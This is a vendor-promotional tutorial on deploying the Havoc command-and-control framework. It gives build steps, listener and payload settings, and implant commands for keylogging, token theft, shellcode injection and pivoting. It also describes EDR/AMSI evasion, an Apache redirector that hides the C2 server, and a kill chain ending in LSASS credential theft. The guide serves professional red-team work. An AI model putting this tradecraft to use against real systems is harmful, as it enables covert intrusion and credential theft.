Havoc C2 Framework

Command and Control (C2) frameworks are the backbone of any serious red team engagement. They give operators centralized control over compromised endpoints, enable post-exploitation workflows, and simulate the behavior of real-world threat actors. Among the newer generation of C2 tools, Havoc has emerged as one of the most technically sophisticated and actively maintained open-source options available today.

This guide breaks down everything you need to know about Havoc: what it is, how it works, how to deploy it, and the commands that make it a formidable tool in the hands of a skilled penetration tester.

If your organization needs professional adversary simulation and red team engagements, Redfox Cybersecurity's pentesting services are built for exactly that.

What Is Havoc C2

Havoc is a modern, open-source command and control framework developed by C5pider. It is written in Go (server-side) and C/C++ (agent-side), and it features a Qt-based graphical user interface called the Havoc Client. The framework is designed for post-exploitation operations and red team simulations, offering capabilities that rival commercial tools like Cobalt Strike.

Key characteristics that set Havoc apart include:

Sleep obfuscation using the Ekko or FOLIAGE techniques, indirect syscalls for AV/EDR evasion, a modular demon agent that supports custom extensions, token manipulation and process injection, and a clean multi-operator collaborative interface.

Havoc is not a script kiddie tool. Its depth requires genuine knowledge of Windows internals, active directory environments, and operational security practices.

How the Havoc C2 Architecture Works

Understanding Havoc's architecture helps you deploy it correctly and use it effectively in engagements.

The Teamserver

The Teamserver is the backend component. It manages all operator connections, listener configurations, agent check-ins, and task queuing. It runs on a Linux machine (typically a VPS or internal server) and communicates with operators via an encrypted WebSocket connection.

The Havoc Client

The client is the Qt-based GUI that operators use to interact with the Teamserver. It provides a dashboard for active agents, a console for issuing commands, and a file manager, among other features.

The Demon Agent

Demon is Havoc's default implant. It is the payload that runs on the target machine, establishes communication with the Teamserver, and executes operator tasks. Demon supports HTTP, HTTPS, and SMB listener profiles, giving operators flexibility in how they stage and maintain access.

Installing Havoc on a Linux System

Havoc requires a Linux host for the Teamserver. The following setup has been tested on Ubuntu 22.04.

Prerequisites

Before installing, ensure the following packages are available:

sudo apt update
sudo apt install -y git build-essential apt-utils cmake libfontconfig1 \
 libglu1-mesa-dev libgtest-dev libspdlog-dev libboost-all-dev \
 libncurses5-dev libgdbm-dev libssl-dev libreadline-dev libffi-dev \
 libsqlite3-dev libbz2-dev mesa-common-dev qtbase5-dev \
 qtchooser qt5-qmake qtbase5-dev-tools libqt5websockets5 \
 libqt5websockets5-dev qtdeclarative5-dev golang-go nasm mingw-w64 python3-dev


Cloning and Building Havoc

git clone https://github.com/HavocFramework/Havoc.git
cd Havoc


Build the Teamserver:

cd teamserver
go mod download golang.org/x/sys
go mod download github.com/ugorji/go
cd ..
make ts-build


Build the client:

make client-build


Starting the Teamserver

Create a profile file (e.g., havoc.yaotl) that defines your listeners, operators, and Teamserver settings:

Teamserver {
   Host = "0.0.0.0"
   Port = 40056

   Build {
       Compiler64 = "x86_64-w64-mingw32-gcc"
       Compiler86 = "i686-w64-mingw32-gcc"
       Nasm = "/usr/bin/nasm"
   }
}

Operators {
   user "operator1" {
       Password = "StrongPassword123!"
   }
}

Listeners {}

Demon {}


Launch the Teamserver with your profile:

./havoc server --profile havoc.yaotl -v


The -v flag enables verbose output for debugging during initial setup.

Connecting the Client

Launch the GUI client:

./havoc client


Enter the Teamserver IP, port, and operator credentials to connect. Once authenticated, you will see the main operator dashboard.

Configuring Listeners in Havoc

Listeners define how the Demon agent communicates back to the Teamserver. Setting up a listener is one of the first tasks in any engagement.

HTTP Listener

Navigate to the Listeners tab in the client and click "Add." Select HTTP and configure:

Name:         HTTP-Listener
Hosts:        ["YOUR_C2_IP"]
Port:         80
Method:       POST
UserAgent:    Mozilla/5.0 (Windows NT 10.0; Win64; x64)


HTTPS Listener with Custom Certificate

For engagements requiring encrypted traffic that blends with legitimate HTTPS:

Name:         HTTPS-Listener
Hosts:        ["YOUR_C2_DOMAIN"]
Port:         443
Secure:       true
Cert:         /path/to/cert.pem
Key:          /path/to/key.pem


Using a domain with an aged, categorized certificate significantly reduces detection likelihood when passing through network inspection tools.

If you want experts to run these engagements safely and professionally within your environment, contact Redfox Cybersecurity's red team specialists.

Generating a Demon Agent Payload

Once a listener is live, generate a Demon implant via the client:

Go to Attack > Payload > Demon and configure your options:

Listener:        HTTP-Listener
Format:          Windows Executable (EXE)
Arch:            x64
Sleep:           5 (seconds)
Jitter:          10 (%)
Injection:       Indirect Syscall
Sleep Technique: Ekko


This produces a Demon EXE or shellcode blob depending on your format selection. For staged delivery, choose shellcode and embed it in a custom loader for better evasion.

Indirect Syscalls and Sleep Obfuscation

Havoc's indirect syscall support means API calls like NtAllocateVirtualMemory or NtWriteVirtualMemory are resolved and called via a trampoline in ntdll.dll rather than directly from the implant's memory region. This bypasses many userland hooks planted by EDR products.

Ekko sleep obfuscation encrypts the Demon agent's memory region while it sleeps, making memory scanning ineffective during beacon intervals. This is configured at payload generation time and requires no operator action during runtime.

Core Demon Agent Commands

Once a Demon agent checks in, it appears in the Agents panel. Double-clicking opens an interactive console. Below are the most commonly used commands in real engagements.

Basic Recon Commands

whoami                    # Current user context
shell hostname            # Machine hostname
shell net user            # Local user enumeration
shell net localgroup administrators  # Admin group members
shell systeminfo          # Full system information


File System Operations

ls                        # List current directory
cd C:\Users\target        # Change directory
download C:\path\file.txt # Download file to operator machine
upload /local/file.exe C:\Windows\Temp\file.exe  # Upload file to target
rm C:\Windows\Temp\file.exe  # Delete file


Process Operations

ps                        # List running processes
kill 1234                 # Kill process by PID
inject 1234 x64 shellcode.bin  # Inject shellcode into PID 1234


The inject command uses the configured injection technique (e.g., indirect syscalls) to migrate shellcode into a remote process, a critical step for blending into legitimate process trees.

Token Manipulation

token steal 1234          # Steal token from PID 1234
token impersonate         # Impersonate the stolen token
token revert              # Revert to original token


Token theft is fundamental to lateral movement. Stealing a token from a privileged process like winlogon.exe or a SYSTEM-level service allows privilege escalation without needing a traditional exploit.

Pivoting and Port Forwarding

rportfwd add 127.0.0.1 8080 10.0.0.5 80   # Forward local port to remote target
socks 1080                                  # Start SOCKS5 proxy on port 1080


The SOCKS proxy capability is invaluable during internal network pivoting. Combined with tools like ProxyChains, it enables routing traffic from the operator machine through the compromised host into otherwise unreachable network segments.

Screenshot and Keylogging

screenshot                # Capture screenshot of target desktop
keylog start              # Begin keylogger on target
keylog stop               # Stop keylogger
keylog dump               # Retrieve captured keystrokes


These commands support intelligence gathering phases of an engagement, particularly useful for capturing credentials entered post-compromise.

Post-Exploitation with Havoc: OPSEC Considerations

Memory Evasion

Never run shell commands directly for sensitive operations. The shell command spawns cmd.exe as a child process, which is immediately flagged by behavioral detection engines. Instead, use inline-execute to run BOF (Beacon Object File) compatible code in-process:

inline-execute /path/to/bof.o arg1 arg2


BOFs execute within the Demon's own process memory, leaving no child process artifacts and dramatically reducing detection surface.

AMSI and ETW Bypass

Before running any .NET assemblies or PowerShell in-memory, patch AMSI and ETW:

dotnet inline-execute /path/to/assembly.exe arg1 arg2


Havoc's dotnet command loads .NET assemblies in-process via a custom CLR host, bypassing traditional AMSI hooks when used with the appropriate evasion configuration.

Avoiding Common Detection Patterns

Use jitter settings on your agents. A beacon with zero jitter calls home on a perfectly predictable schedule, which network detection rules trivially identify. A 5-second sleep with 30% jitter produces a realistic, human-looking pattern that is far harder to baseline.

Rotate your C2 domains regularly during long engagements and use domain fronting or CDN relaying where permitted in your rules of engagement.

Professional red teams factor all of this into their operations by design. If you want a team that operates this way inside your environment, explore Redfox Cybersecurity's adversary simulation services.

Havoc vs. Other C2 Frameworks

Havoc vs. Cobalt Strike

Cobalt Strike remains the gold standard in enterprise red teaming, but it carries a significant licensing cost and is heavily signatured by security vendors due to its widespread abuse by threat actors. Havoc provides comparable capability for open-source users willing to invest in understanding the tool deeply. Cobalt Strike's Malleable C2 profiles give it an edge in traffic customization, but Havoc's native sleep obfuscation and syscall implementation are arguably superior out of the box for evasion.

Havoc vs. Sliver

Sliver is another modern open-source C2 with strong multi-protocol support (HTTP, HTTPS, DNS, MTLS, WireGuard). Where Sliver focuses on breadth, Havoc focuses on depth, particularly in its Windows evasion capabilities. For engagements targeting hardened Windows environments with modern EDR, Havoc often requires less customization to operate effectively.

Havoc vs. Metasploit

Metasploit is primarily an exploitation framework with a basic C2 component (Meterpreter). It is not designed for long-term, covert post-exploitation operations. Havoc is built from the ground up for that purpose and should be considered the appropriate tool once initial access is established.

Havoc in a Full Red Team Kill Chain

Understanding where Havoc sits in the engagement lifecycle is critical. It is a post-exploitation tool, not an initial access tool. A realistic kill chain might look like this:

Initial access via phishing with a custom loader delivering Demon shellcode. Demon checks in via HTTPS listener using a legitimate-looking domain with an aged certificate. Operator conducts internal recon using shell, ps, and Active Directory enumeration BOFs. Token theft from a privileged service process enables lateral movement to a domain controller. Credentials are extracted from LSASS memory using an in-process BOF rather than invoking Mimikatz directly. Persistence is established via a scheduled task or registry run key using a re-encoded payload variant.

Every step of this chain benefits from Havoc's evasion architecture, and every step requires the operator to understand the underlying Windows internals well enough to adapt when detections occur.

Operational Security for Havoc Deployments

Teamserver hardening is non-negotiable in real engagements. The default Havoc Teamserver port (40056) is easily fingerprinted. Change it in your profile. Restrict access via firewall rules to operator IPs only. Use a redirector (Apache or Nginx) in front of the Teamserver to proxy C2 traffic and obscure the Teamserver's true IP.

Redirector configuration example using Apache mod_rewrite:

RewriteEngine On
RewriteCond %{REQUEST_URI} ^/beacon [NC]
RewriteRule ^.*$ http://TEAMSERVER_IP:80%{REQUEST_URI} [P,L]
RewriteRule ^.*$ https://legitimate-looking-domain.com/ [L,R=302]


Traffic that matches your expected beacon URI gets proxied to the Teamserver. Everything else is redirected to an innocuous landing page, making the redirector appear legitimate to anyone investigating the IP.

Wrapping Up: Is Havoc Right for Your Red Team

Havoc is not a beginner's tool. It rewards operators who understand Windows internals, have experience with EDR bypass techniques, and know how to think like the adversaries they are simulating. For those operators, it is one of the most capable open-source C2 frameworks available today.

Its active development, strong evasion defaults, modular architecture, and collaborative multi-operator interface make it a serious option for professional red team engagements.

That said, tooling is only one part of a successful engagement. Strategy, scope definition, realism, and a deep understanding of the target environment matter just as much as which C2 framework sits in your stack.

If your organization is ready for a red team engagement that goes beyond automated scanning and actually tests your defenses against simulated threat actor behavior, Redfox Cybersecurity's penetration testing and red team services are the right place to start. Their team brings the operational depth, OPSEC discipline, and adversary tradecraft that separates genuine adversary simulation from checkbox compliance testing.

Request a scoping call with Redfox Cybersecurity today and find out what a real red team engagement looks like from the inside.

‍